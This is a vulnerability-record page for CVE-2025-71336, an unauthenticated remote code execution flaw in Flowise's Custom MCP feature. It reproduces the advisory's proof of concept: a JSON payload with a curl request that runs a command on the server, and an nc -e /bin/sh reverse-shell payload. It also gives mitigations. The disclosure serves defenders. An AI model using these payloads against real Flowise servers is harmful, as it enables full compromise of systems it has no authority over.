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Response snapshot Nov 3, 2026, 19:21 UTC

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VulnerabilityCVE-2025-71336

Flowise has unsandboxed remote code execution via Custom MCP

The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC).

At a glance

Exploited
Not known
Severity
9.3 Critical (CVSS 4.0)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: flowise: 3.0.6. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-6933-jpx5-q87q (opens a new tab)

What happened

Summary

The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables.

This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.

PoC

Continue reading

1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

2. Create a new file named payload.json somewhere in your machine, with the following data:

{"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}

3. Send the following curl request using the payload.json file created above with the following command:

curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"

4. Observe that a new file named yofitofi is created under /tmp folder.

Similarily, we can use the same technique to gain a reverse shell using the built-in nc utility with the following JSON payload:

{"inputs":{"mcpServerConfig":{"command": "nc","args": [
" "," ","-e","/bin/sh"
]}},
"loadMethod":"listActions"}

![Pasted image 20250420132335](https://github.com/user-attachments/assets/b41093b9-a0d7-415e-bf9b-b8cbce7183d6)

Impact

Remote code execution

Mitigation

- Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform. - Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature. - Consider running Custom MCPs within a sandboxed environment

Credit

The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

Affected package ranges reported by GitHub: flowise: >= 2.2.7-patch.1, < 3.0.6

Scores and how they were measured

CVSS base severity

9.3

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-6933-jpx5-q87q (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-6933-jpx5-q87q, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 3). Flowise has unsandboxed remote code execution via Custom MCP (CVE-2025-71336). https://kevwire.com/record/CVE-2025-71336

MLA

"Flowise has unsandboxed remote code execution via Custom MCP (CVE-2025-71336)." KEVWire, 3 Nov. 2026, kevwire.com/record/CVE-2025-71336.

Chicago

KEVWire. "Flowise has unsandboxed remote code execution via Custom MCP (CVE-2025-71336)." Last modified November 3, 2026. https://kevwire.com/record/CVE-2025-71336.

Evidence summary (plain text)

Flowise has unsandboxed remote code execution via Custom MCP (Sep 15, 2025).
The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables.

This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands.
CVSS 9.3 (version 4.0; evidence as of Nov 3, 2026; https://github.com/advisories/GHSA-6933-jpx5-q87q).
Sources:
GitHub-reviewed advisory GHSA-6933-jpx5-q87q: https://github.com/advisories/GHSA-6933-jpx5-q87q
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2025-71336.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 3, 2026, 19:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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